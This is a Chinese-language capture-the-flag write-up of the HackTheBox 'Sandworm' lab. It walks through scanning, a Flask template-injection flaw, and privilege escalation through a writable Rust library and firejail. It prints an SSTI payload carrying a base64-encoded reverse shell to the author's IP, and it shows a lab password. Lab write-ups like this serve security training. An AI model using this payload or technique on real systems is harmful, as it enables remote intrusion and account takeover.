HackTheBox Sandworm WriteUP

题目

Logo

解题

端口扫描

题目给了IP,先端口扫描:

rustscan -r 1-65535 -b 924 -t 2000 -a 10.10.11.218

rustscan

Web服务访问一下,直接跳转到了ssa.htb
配置好hosts文件之后上nmap再仔细扫一遍:

echo "10.10.11.218 ssa.htb" >> /etc/hosts
nmap -p 22,80,443 -A -v -Pn --open --script auth,vuln ssa.htb

nmap

并没有找到更多有价值的信息。

目录扫描

ffuf -u https://ssa.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -c -v -r

dir1
dir2

其中contact是一个提交PGP加密信息的界面:

contact

guide是一个指导PGP加密的界面,包含加密、解密和验证等功能:

guide

网站底部有Powered by Flask™ 字样,看到这个第一反应应该就是用SSTI漏洞来打了。

服务器端模板注入(SSTI)

和XSS一样,找SSTI的注入点,首先应该找能够把我们输入的信息完整回显的地方。这里我们找到了guide页面的Verify Signature功能,它能返回我们签名pgp时使用的用户名(这里忘记截图了),简单{{9*9}}验证后证实存在SSTI漏洞。

后续反弹Shell利用的Payload如下:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvOTExIDA+JjE="|base64 -d|bash').read() }}

首先我们在在线网站(PGP Tool)生成PGP密钥对,在用户名处键入Payload:

generate

然后生成签名信息:

sign

将公钥和签名信息丢到网站中验证,成功反弹Shell:

reverseshell

提权

当前用户目录下是没有user.txt的。我们在翻看了配置文件后,在/home/atlas/.config/httpie/sessions/localhost_5000/admin.json中发现了用户silentobserver的账号密码:

admin.json

此用户能够在login页面直接登录,也能直接ssh登录到目标:

login

ssh-1

<!–>quietLiketheWind22<!–>

执行pspy64看一下进程,找到了一个atlas用户权限执行的定时任务:

pspy

简化一下,然后问一下ChatGPT这是什么意思:

这个命令是一个结合了 echocargo 的 shell 命令。我们来逐部分解这个命令:

  1. echo "e": 这是一个 shell 命令,用于输出 “e” 这个字符。

  2. |: 这是一个管道符号。在 shell 中,管道用于将前一个命令的输出作为下一个命令的输入。在这个场景下,它将 “e” 这个字符传递给了 cargo run --offline 命令。

  3. cargo run --offline: 这是 Cargo 的一个命令。

    • cargo run: 这是 Cargo 的一个命令,它编译并运行指定的 Rust 项目。
    • --offline: 这个标志告诉 Cargo 在离线模式下运行,这意味着它不会尝试联网更新 crate 或解决依赖。它会使用本地缓存的依赖版本。

综合来看,echo "e"|cargo run --offline 的意思是:输出 “e” 这个字符,并将这个字符作为输入传递给 cargo run --offline。这通常是为了向 Rust 程序提供一些预期的输入,例如当 Rust 程序期望从标准输入中读取数据时。

我们在先前获得的第一个Shell,用户权限就是atlas,但那实际上大概率只是一个沙箱环境:

sandbox

所以我们也许需要再次获得atlas用户的真实权限。结合cargo的进程,我们修改rust程序的源码,就可以实现反弹Shell。但是很遗憾,我们并没有src目录的写入权限:

src

继续翻目录,我们有/opt/crates/logger/src/lib.rs的写入权限,而tipnet刚好会调用logger的函数:

lib.rs

logger

那么,我们修改lib.rs的源码就可以了:

reverse-shell

获得atlas用户的shell之后,可以看到当前用户下正在运行firejail:

firejail

我们最初获得的Shell,应该就是这个沙箱的环境:

chatgpt

firejail存在公开的漏洞,我们直接找到exp利用就好:

root

Pwn

后记

除了SSTI之前做过类似的challenge之外,其他几乎所有知识点都要现学。再次意识到,对于安全人员来说,现学现卖真是一样非常重要的能力。